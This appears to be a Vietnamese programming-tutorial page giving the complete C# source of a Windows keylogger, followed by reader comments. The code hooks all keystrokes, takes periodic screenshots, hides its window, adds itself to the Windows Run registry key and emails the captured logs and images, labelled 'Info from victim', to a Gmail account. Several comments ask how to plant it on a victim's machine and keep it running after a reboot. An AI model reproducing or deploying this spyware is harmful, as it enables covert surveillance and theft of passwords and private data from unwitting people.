using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace KeyLogger
{
class Program
{
#region hook key boardprivateconstint WH_KEYBOARD_LL = 13;
privateconstint WM_KEYDOWN = 0x0100;
privatestatic LowLevelKeyboardProc _proc = HookCallback;
privatestatic IntPtr _hookID = IntPtr.Zero;
privatestaticstring logName = "Log_";
privatestaticstring logExtendtion = ".txt";
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
privatestaticextern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
privatestaticexternboolUnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
privatestaticextern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
privatestaticextern IntPtr GetModuleHandle(string lpModuleName);
///<summary>/// Delegate a LowLevelKeyboardProc to use user32.dll///</summary>///<param name="nCode"></param>///<param name="wParam"></param>///<param name="lParam"></param>///<returns></returns>privatedelegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
///<summary>/// Set hook into all current process///</summary>///<param name="proc"></param>///<returns></returns>privatestatic IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
{
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
}
///<summary>/// Every time the OS call back pressed key. Catch them /// then cal the CallNextHookEx to wait for the next key///</summary>///<param name="nCode"></param>///<param name="wParam"></param>///<param name="lParam"></param>///<returns></returns>privatestatic IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
CheckHotKey(vkCode);
WriteLog(vkCode);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
///<summary>/// Write pressed key into log.txt file///</summary>///<param name="vkCode"></param>staticvoid WriteLog(int vkCode)
{
Console.WriteLine((Keys)vkCode);
string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
StreamWriter sw = new StreamWriter(logNameToWrite, true);
sw.Write((Keys)vkCode);
sw.Close();
}
///<summary>/// Start hook key board and hide the key logger/// Key logger only show again if pressed right Hot key///</summary>staticvoid HookKeyboard()
{
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
}
staticbool isHotKey = false;
staticbool isShowing = false;
static Keys previoursKey = Keys.Separator;
staticvoid CheckHotKey(int vkCode)
{
if ((previoursKey == Keys.LControlKey || previoursKey == Keys.RControlKey) && (Keys)(vkCode) == Keys.K)
isHotKey = true;
if (isHotKey)
{
if (!isShowing)
{
DisplayWindow();
}
else
HideWindow();
isShowing = !isShowing;
}
previoursKey = (Keys)vkCode;
isHotKey = false;
}
#endregion#region Capturestaticstring imagePath = "Image_";
staticstring imageExtendtion = ".png";
staticint imageCount = 0;
staticint captureTime = 100;
///<summary>/// Capture al screen then save into ImagePath///</summary>staticvoid CaptureScreen()
{
//Create a new bitmap.var bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width,
Screen.PrimaryScreen.Bounds.Height,
PixelFormat.Format32bppArgb);
// Create a graphics object from the bitmap.var gfxScreenshot = Graphics.FromImage(bmpScreenshot);
// Take the screenshot from the upper left corner to the right bottom corner.
gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X,
Screen.PrimaryScreen.Bounds.Y,
0,
0,
Screen.PrimaryScreen.Bounds.Size,
CopyPixelOperation.SourceCopy);
string directoryImage = imagePath + DateTime.Now.ToLongDateString();
if (!Directory.Exists(directoryImage))
{
Directory.CreateDirectory(directoryImage);
}
// Save the screenshot to the specified path that the user has chosen.string imageName = string.Format("{0}\\{1}{2}", directoryImage, DateTime.Now.ToLongDateString() + imageCount, imageExtendtion);
try
{
bmpScreenshot.Save(imageName, ImageFormat.Png);
}
catch
{
}
imageCount++;
}
#endregion#region Timerstaticint interval = 1;
staticvoid StartTimmer()
{
Thread thread = new Thread(() => {
while (true)
{
Thread.Sleep(1);
if (interval % captureTime == 0)
CaptureScreen();
if (interval % mailTime == 0)
SendMail();
interval++;
if (interval >= 1000000)
interval = 0;
}
});
thread.IsBackground = true;
thread.Start();
}
#endregion#region Windows
[DllImport("kernel32.dll")]
staticextern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
staticexternbool ShowWindow(IntPtr hWnd, int nCmdShow);
// hide window codeconstint SW_HIDE = 0;
// show window codeconstint SW_SHOW = 5;
staticvoid HideWindow()
{
IntPtr console = GetConsoleWindow();
ShowWindow(console, SW_HIDE);
}
staticvoid DisplayWindow()
{
IntPtr console = GetConsoleWindow();
ShowWindow(console, SW_SHOW);
}
#endregion#region Registry that open with windowstaticvoid StartWithOS()
{
RegistryKey regkey = Registry.CurrentUser.CreateSubKey("Software\\ListenToUser");
RegistryKey regstart = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
string keyvalue = "1";
try
{
regkey.SetValue("Index", keyvalue);
regstart.SetValue("ListenToUser", Application.StartupPath + "\\" + Application.ProductName + ".exe");
regkey.Close();
}
catch (System.Exception ex)
{
}
}
#endregion#region Mailstaticint mailTime = 5000;
staticvoid SendMail()
{
try
{
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
mail.From = new MailAddress("email@gmail.com");
mail.To.Add("email@gmail.com");
mail.Subject = "Keylogger date: " + DateTime.Now.ToLongDateString();
mail.Body = "Info from victim\n";
string logFile = logName + DateTime.Now.ToLongDateString() + logExtendtion;
if (File.Exists(logFile))
{
StreamReader sr = new StreamReader(logFile);
mail.Body += sr.ReadToEnd();
sr.Close();
}
string directoryImage = imagePath + DateTime.Now.ToLongDateString();
DirectoryInfo image = new DirectoryInfo(directoryImage);
foreach (FileInfo item in image.GetFiles("*.png"))
{
if (File.Exists(directoryImage + "\\" + item.Name))
mail.Attachments.Add(new Attachment(directoryImage + "\\" + item.Name));
}
SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential("email@gmail.com", "password");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
Console.WriteLine("Send mail!");
// phải làm cái này ở mail dùng để gửi phải bật lên// https://www.google.com/settings/u/1/security/lesssecureapps
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
#endregionstaticvoid Main(string[] args)
{
StartWithOS();
HideWindow();
StartTimmer();
HookKeyboard();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
Hãy khoe thành tích của mình dưới phần bình luận nhé.
Đừng quên: “Luyện tập – Thử thách – Không ngại khó”
Tải xuống
Tài liệu
Nhằm phục vụ mục đích học tập Offline của cộng đồng, Kteam hỗ trợ tính năng lưu trữ nội dung bài học Khởi động cùng hệ thống tool Keylogger với C# Console Application dưới dạng file PDF trong link bên dưới.
Ngoài ra, bạn cũng có thể tìm thấy các tài liệu được đóng góp từ cộng đồng ở mục TÀI LIỆU trên thư viện Howkteam.com
Đừng quên like và share để ủng hộ Kteam và tác giả nhé!
Thảo luận
Nếu bạn có bất kỳ khó khăn hay thắc mắc gì về khóa học, đừng ngần ngại đặt câu hỏi trong phần bên dưới hoặc trong mục HỎI & ĐÁP trên thư viện Howkteam.com để nhận được sự hỗ trợ từ cộng đồng.
Cảm ơn anh vì bài giảng mặc dù e chỉ học để phòng thôi chớ ăn cắp thông tin cá nhân đi tù thì lại ko có mạng mà với máy tính mà học cái khác của anh nữa
Bình luận
Để bình luận, bạn cần đăng nhập bằng tài khoản Howkteam.
khi em chạy chương trình thì run trong application.run vẫn bị lỗi. Mặc dù em đã add đủ loại reference vài fix các kiểu rồi. Khi code thì không gặp nhưng cứ run là gặp lỗi. Ai giúp với ạ, em cảm ơn.
Rồi làm sao để cài đặt vào máy vitctim và lỡ như victim tắt máy thì khi khởi động lại thì keylogger còn đang dùng k hay phải bật lại . và làm sao để khi victim khởi động máy thì keylogger đồng thời cũng được khỏi động theo !!
Làm xong muốn gửi file cho vittim thì phải làm sao ! gửi = mail thì nó báo k phù hợp và bị chặn ! và bị lỗi ngay khúc catch (System.Exception ex) ( lỗi cái ex) dòng 256 đó ! . mong các bạn giải đáp cảm ơn
Anh có thể hướng dẫn em cách đóng gói sang file .exe được không anh, khi em đóng gói cài đặt xong thì chạy bị lỗi.
em cảm ơn ạ.
khi em chạy chương trình thì run trong application.run vẫn bị lỗi. Mặc dù em đã add đủ loại reference vài fix các kiểu rồi. Khi code thì không gặp nhưng cứ run là gặp lỗi. Ai giúp với ạ, em cảm ơn.
có ai ko nhận dc từ trong mail ko ,chỉ cách fix cái mn
thank all!
Rồi làm sao để cài đặt vào máy vitctim và lỡ như victim tắt máy thì khi khởi động lại thì keylogger còn đang dùng k hay phải bật lại . và làm sao để khi victim khởi động máy thì keylogger đồng thời cũng được khỏi động theo !!
Làm xong muốn gửi file cho vittim thì phải làm sao ! gửi = mail thì nó báo k phù hợp và bị chặn ! và bị lỗi ngay khúc catch (System.Exception ex) ( lỗi cái ex) dòng 256 đó ! . mong các bạn giải đáp cảm ơn